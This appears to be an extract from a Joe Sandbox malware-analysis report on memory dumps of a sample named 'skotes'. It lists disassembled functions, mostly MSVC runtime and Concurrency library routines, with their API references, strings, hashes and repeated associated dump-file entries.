Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 85f3099422ae14f6c040666a97d54d81b268bc79f9b9e8a82be0276afb9d491c
Instruction ID: 8b8cbd2e86d72fe42f2d1c197da9b1ebb8d6484f8172877708a33fd88ccb4db5
Opcode Fuzzy Hash: 85f3099422ae14f6c040666a97d54d81b268bc79f9b9e8a82be0276afb9d491c
Instruction Fuzzy Hash: 58C18671900E29EFCF25DFA4E8809EEBBBABF54311F14415AE8026B212D770DA51CF91

Function 00624840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00624877
___except_validate_context_record.LIBVCRUNTIME ref: 0062487F
_ValidateLocalCookies.LIBCMT ref: 00624908
__IsNonwritableInCurrentImage.LIBCMT ref: 00624933
_ValidateLocalCookies.LIBCMT ref: 00624988

Strings

csm, xrefs: 0062491D
S9b, xrefs: 00624925, 0062492E, 0062493F

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9b$csm
API String ID: 1170836740-392870675
Opcode ID: 5d687fc6e81ddd4965412393ada74966f39ffef7057a65166e7154169ceedca0
Instruction ID: 2aafa556372457aedbaf2d4dc9715d40df928d215e16dc3ad201cb125a225f3c
Opcode Fuzzy Hash: 5d687fc6e81ddd4965412393ada74966f39ffef7057a65166e7154169ceedca0
Instruction Fuzzy Hash: 70410634E10A299FCF10DF28E884ADE7BB6AF05314F148159F8195B392CB35DA45CF91

Function 00617364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006173B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006173F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0061740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00617419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00617440

Strings

ppVirtualProcessorRoots, xrefs: 00617438
count, xrefs: 0061737E

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: cb2021408de255db066b69184370e80afc20075d87915a4708a85183d64ddea1
Instruction ID: 7fbf7f731456a8a1695cf18da2c0313961f9f957bceff8425460b90a0846a38b
Opcode Fuzzy Hash: cb2021408de255db066b69184370e80afc20075d87915a4708a85183d64ddea1
Instruction Fuzzy Hash: 85216234A00219AFDB14EF54C5959EEBBB7BF49310F1840A9E91597391DB30AE81CF94

Function 0060EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0060EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0060EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0060EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0060EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0060EF31

Strings

i`, xrefs: 0060EED0

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: i`
API String ID: 1182035702-247970767
Opcode ID: b03b8fcd17513d8741a9fa63f79ec5e162ed2792f3d2697ed493cb6e2b617582
Instruction ID: 1e93655782213a621a10e00eb0b160d68c95a17f615ce8afd5591b253e4d9813
Opcode Fuzzy Hash: b03b8fcd17513d8741a9fa63f79ec5e162ed2792f3d2697ed493cb6e2b617582
Instruction Fuzzy Hash: A1218270C9022A9ADF7CDFA4C4456EFBBF2BF14320F10092DE151A62D1E7B24A84CB55

Function 006178E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00617903

Part of subcall function 00615CB8: __EH_prolog3_catch.LIBCMT ref: 00615CBF
Part of subcall function 00615CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00615CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0061792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00617936

Part of subcall function 00615CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00615D70
Part of subcall function 00615CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00615D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00617982
Concurrency::location::_Assign.LIBCMT ref: 006179A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 006179AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006179BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 006179ED

Part of subcall function 0061691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00616942
Part of subcall function 0061691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00616965

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458559562.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458646973.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458699497.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458749465.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458821122.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458937567.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459011257.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459070943.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459177624.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459391566.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459561069.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459674775.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3459806170.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460034997.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460112877.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3460194102.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: d79870aefa91df80b87af6235c82b5a27082d774b529dec5baa65e1baabf50f7
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 72310430B08255AECF56AA7848927FEBBB79F45300F0C49A9E496D7342DA245DCEC3D1

Function 00634C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00634C98
__alloca_probe_16.LIBCMT ref: 00634D5E
__freea.LIBCMT ref: 00634DCA

Part of subcall function 0062B04B: RtlAllocateHeap.NTDLL(00000000,00606CB7,?,?,0060D3FC,00606CB7,?,00607A8B,8B18EC84,052C0919), ref: 0062B07D

__freea.LIBCMT ref: 00634DD3
__freea.LIBCMT ref: 00634DF6

Strings

Zb,mb, xrefs: 00634C26

Memory Dump Source

Source File: 0000000D.00000002.3455454746.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 0000000D.00000002.3455358650.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455454746.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455752337.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455841437.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3455926145.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456439139.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456561304.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456685530.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3456896969.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457003668.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457140603.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457253557.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457377854.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457456021.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457579261.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457670576.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457762254.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457887096.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3457989171.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458085030.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458172084.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458265438.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458340996.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458410612.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.3458484759.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
